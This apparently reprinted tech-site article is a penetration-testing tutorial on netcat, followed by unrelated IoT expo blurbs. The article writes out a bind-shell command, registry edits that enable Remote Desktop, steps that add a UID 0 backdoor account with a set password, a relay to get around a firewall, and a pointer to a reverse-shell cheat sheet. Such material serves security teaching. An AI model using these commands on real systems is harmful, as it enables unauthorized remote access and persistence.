Welcome!

Cloud Security Authors: Liz McMillan, Elizabeth White, Lisa Calkins, Pat Romanski, Mamoon Yunus

Related Topics: Cloud Security

Cloud Security: Article

Pen Testing with Netcat

Netcat penetration testing

Shell access on a Unix-type server is access to send commands to a target as a user of the system and get a response back (standard input to a shell and standard output from that shell). This shell service is limited and some commands will work and other will not. Window shell access has a similar limited command structure and this article will explore how to navigate and give some interesting tips hopefully as well.

A tool that can demonstrate this is netcat as I will illustrate below using netcat for shell access on a windows target. On a windows machine open up a command prompt and start a netcat listener (see Figure #1). You may need to install the program http://nmap.org/ncat before you continue.

Figure #1 starting a netcat listener on windows

Now connect to it from you Linux box with the following command in Figure #2

Figure #2 connecting to the windows box via netcat listener

You can use many commands but there are a few that you should avoid because they will break your shell and you will have to re-start your listener. This may not be an issue for you but if you have worked a number of hours to get a shell you don't want to lose it. There are number of commands that will break your shell if run such as telnet, ssh, wmic, and the runas command. If the windows box has sysinternals installed this will be a great help but if not you can add a new user and login to get a terminal (see Figure #3). In the example below we have added the user cr0wn with the password of password to the windows account. Something to consider when doing this if someone is running a sniffer this will be passed in the clear so you might want it encrypted.

Figure #3 adding a user to windows

Below is an example on a Linux box using the -ssl option will allow your session to be ssl encrypted by using the following command:

$ ncat -l -ssl -p 6666 -e /bin/sh

Then connect to using the following command:

$ ncat -ssl 10.9.11.32 6666

Now all of your communication is encrypted. I check this by running tcpdump on port 6666 and opened the capture file with wireshark (See Figure #4 encrypted, & Figure #5 un-encrypted).

Figure #4 encrypted

Figure #5 un-encrypted

Now that we have added a user what service can we use to login and have a terminal session? By running the net start command to get a list of services running (see Figure #6).

>net start

Figure #6 running the net start command

We have several different services running to choose from and I notice that WinSSHD is running so we can make a secure connection via ssh to our windows box. Now we can ssh with our new user account to the our windows box and have a terminal session (see Figure #7 & #8). The first time you do this you will be asked to accept a key fingerprint. Now we have taken a limited shell account on our windows target and added a user, discovered what services were running and used one of the services (WinSSHD) to remotely login and get a terminal session. If there are a limited number of services running on the windows box then you will need to start those services. For instance use the following to allow Remote Desktop to the windows box:

> reg add "HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

To remove this functionality use the following command:

> reg add "HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

When you are finished remove the account you have created with the following command:

C:\> net user cr0wn /del

Figure #7 login via ssh to our windows box

Figure #8 having a terminal session on windows

Now we will explore the limited shell capability on a Linux box. The same approach applies as that of Windows in that we are working to allow access to a terminal. Here we start a netcat listener on our Linux box and connect to it using the following:

$ ncat 10.9.11.32 5555

Again we can use the -ssl to hide our conversation from a sniffer on the network. This command connects to the Linux box with an IP address of 10.9.11.32 on port 5555. Now we can run some commands to see what kind of box we have:

hostname | gives us the name of workstation

ifconfig -a | gives us the IP address

uname -a | identifies the kernel, processor, etc.

whoami | what privileges you have (user)

Some commands to avoid are using any command that will require a password because it will prompt on the machine that the netcat listener is running which is not the box you are on and will cause your shell to crash.

Adding a user account is another way to get terminal access on your target Linux box. This will work if the netcat listener is running as root (see Figure #9).

Figure #9 adding a user david with UID 0

This will add the user david with UID 0 to the account. Next we need to give the user a password and this is when having the -ssl enabled on your netcat connection is important.

echo "david:pass123" | chpasswd

Now we have issued a password (pass123) to the user account david. Now we can check and see if ssh is running and login for terminal access.

ps -aef |grep ssh

This command shows the following: root 571 1 0 Mar26 ? 00:00:00 /usr/sbin/sshd -D

Now we can ssh into our target box with our new user account and have terminal access. If ssh is not running on the Linux box then we need to start the service and this can be different with various flavors of Linux. For this version of Ubuntu use the following: /usr/sbin/sshd followed by ps -aef | grep ssh to see if the service is running. Next open up your terminal or ssh client and login with your new account. When you are finished remove the account with the following command: userdel david

If your target is protected by a firewall that blocks inbound ssh then you can use a port relay tool to relay around the firewall. This can be performed by a netcat relay. In the example I will be using a Mandriva Linux distro that has a firewall enabled to block ssh from my windows machine but allows port 5555. We will forward TCP connections that arrive on TCP port 5555 to the loopback (lo) interface on TCP port 22. We setup a server netcat to listen on port 5555 and also set up a client netcat to talk to ssh on port 22. By getting them to pass data they receive to each other forming a proxy (see Figure #10) we need the FIFO backpipe p started which already exists in the example. Next we want to receive data on 5555 which is in listen mode and whatever comes in is moved to TCP 22 on the local host.

Figure #10 building a relay from TCP 5555 to TCP 22

What if the target machine you are on does not have netcat installed and you are not allowed to download and install any tools. Your ability to start a reverse shell is limited to the scripting languages installed on the target system. There are a number of ways to accomplish this in the examples below I use bash but there are a number of others at http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

On the target box we can use the example bash line to connect to our listener windows box (see Figure #11 & #12 below)

Figure #11 Linux bash shell script that connects back to a netcat listener

Figure #12 netcat listener establishing a connection with Linux box

The advantage to this is we are not using any third party tools to connect to our netcat listener and leaves a very small footprint on the targeted system. Everything we type on the local listening server is executed on the target and piped back to use (see Figure #12).

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
Internet-of-Things discussions can end up either going down the consumer gadget rabbit hole or focused on the sort of data logging that industrial manufacturers have been doing forever. However, in fact, companies today are already using IoT data both to optimize their operational technology and to improve the experience of customer interactions in novel ways. In his session at @ThingsExpo, Gordon Haff, Red Hat Technology Evangelist, shared examples from a wide range of industries – including en...
Detecting internal user threats in the Big Data eco-system is challenging and cumbersome. Many organizations monitor internal usage of the Big Data eco-system using a set of alerts. This is not a scalable process given the increase in the number of alerts with the accelerating growth in data volume and user base. Organizations are increasingly leveraging machine learning to monitor only those data elements that are sensitive and critical, autonomously establish monitoring policies, and to detect...
"We're a cybersecurity firm that specializes in engineering security solutions both at the software and hardware level. Security cannot be an after-the-fact afterthought, which is what it's become," stated Richard Blech, Chief Executive Officer at Secure Channels, in this SYS-CON.tv interview at @ThingsExpo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA.
To get the most out of their data, successful companies are not focusing on queries and data lakes, they are actively integrating analytics into their operations with a data-first application development approach. Real-time adjustments to improve revenues, reduce costs, or mitigate risk rely on applications that minimize latency on a variety of data sources. Jack Norris reviews best practices to show how companies develop, deploy, and dynamically update these applications and how this data-first...
Intelligent Automation is now one of the key business imperatives for CIOs and CISOs impacting all areas of business today. In his session at 21st Cloud Expo, Brian Boeggeman, VP Alliances & Partnerships at Ayehu, will talk about how business value is created and delivered through intelligent automation to today’s enterprises. The open ecosystem platform approach toward Intelligent Automation that Ayehu delivers to the market is core to enabling the creation of the self-driving enterprise.
The question before companies today is not whether to become intelligent, it’s a question of how and how fast. The key is to adopt and deploy an intelligent application strategy while simultaneously preparing to scale that intelligence. In her session at 21st Cloud Expo, Sangeeta Chakraborty, Chief Customer Officer at Ayasdi, will provide a tactical framework to become a truly intelligent enterprise, including how to identify the right applications for AI, how to build a Center of Excellence to ...
SYS-CON Events announced today that Massive Networks will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Massive Networks mission is simple. To help your business operate seamlessly with fast, reliable, and secure internet and network solutions. Improve your customer's experience with outstanding connections to your cloud.
SYS-CON Events announced today that Datera, that offers a radically new data management architecture, has been named "Exhibitor" of SYS-CON's 21st International Cloud Expo ®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Datera is transforming the traditional datacenter model through modern cloud simplicity. The technology industry is at another major inflection point. The rise of mobile, the Internet of Things, data storage and Big...
Everything run by electricity will eventually be connected to the Internet. Get ahead of the Internet of Things revolution and join Akvelon expert and IoT industry leader, Sergey Grebnov, in his session at @ThingsExpo, for an educational dive into the world of managing your home, workplace and all the devices they contain with the power of machine-based AI and intelligent Bot services for a completely streamlined experience.
Because IoT devices are deployed in mission-critical environments more than ever before, it’s increasingly imperative they be truly smart. IoT sensors simply stockpiling data isn’t useful. IoT must be artificially and naturally intelligent in order to provide more value In his session at @ThingsExpo, John Crupi, Vice President and Engineering System Architect at Greenwave Systems, will discuss how IoT artificial intelligence (AI) can be carried out via edge analytics and machine learning techn...
In his session at @ThingsExpo, Arvind Radhakrishnen discussed how IoT offers new business models in banking and financial services organizations with the capability to revolutionize products, payments, channels, business processes and asset management built on strong architectural foundation. The following topics were covered: How IoT stands to impact various business parameters including customer experience, cost and risk management within BFS organizations.
SYS-CON Events announced today that CA Technologies has been named "Platinum Sponsor" of SYS-CON's 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business - from apparel to energy - is being rewritten by software. From planning to development to management to security, CA creates software that fuels transformation for companies in the applic...
From 2013, NTT Communications has been providing cPaaS service, SkyWay. Its customer’s expectations for leveraging WebRTC technology are not only typical real-time communication use cases such as Web conference, remote education, but also IoT use cases such as remote camera monitoring, smart-glass, and robotic. Because of this, NTT Communications has numerous IoT business use-cases that its customers are developing on top of PaaS. WebRTC will lead IoT businesses to be more innovative and address...
SYS-CON Events announced today that CA Technologies has been named “Platinum Sponsor” of SYS-CON's 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business – from apparel to energy – is being rewritten by software. From planning to development to management to security, CA creates software that fuels transformation for companies in the applic...
Internet of @ThingsExpo, taking place October 31 - November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with 21st Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world. The Internet of Things (IoT) is the most profound change in personal and enterprise IT since the creation of the Worldwide Web more than 20 years ago. All major researchers estimate there will be tens of billions devic...
WebRTC is great technology to build your own communication tools. It will be even more exciting experience it with advanced devices, such as a 360 Camera, 360 microphone, and a depth sensor camera. In his session at @ThingsExpo, Masashi Ganeko, a manager at INFOCOM Corporation, will introduce two experimental projects from his team and what they learned from them. "Shotoku Tamago" uses the robot audition software HARK to track speakers in 360 video of a remote party. "Virtual Teleport" uses a...
SYS-CON Events announced today that Calligo has been named “Bronze Sponsor” of SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Calligo is an innovative cloud service provider offering mid-sized companies the highest levels of data privacy. Calligo offers unparalleled application performance guarantees, commercial flexibility and a personalized support service from its globally located cloud platform...
SYS-CON Events announced today that Elastifile will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Elastifile Cloud File System (ECFS) is software-defined data infrastructure designed for seamless and efficient management of dynamic workloads across heterogeneous environments. Elastifile provides the architecture needed to optimize your hybrid cloud environment, by facilitating efficient...
SYS-CON Events announced today that Cloudistics, an on-premises cloud computing company, has been named “Bronze Sponsor” of SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Launched in 2016, Cloudistics helps anyone bring the power of the cloud to the data center in an easy-to-use, on- premises cloud platform that automatically provides high performance resources for all types of applications: Docke...
SYS-CON Events announced today that Golden Gate University will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Since 1901, non-profit Golden Gate University (GGU) has been helping adults achieve their professional goals by providing high quality, practice-based undergraduate and graduate educational programs in law, taxation, business and related professions. Many of its courses are taug...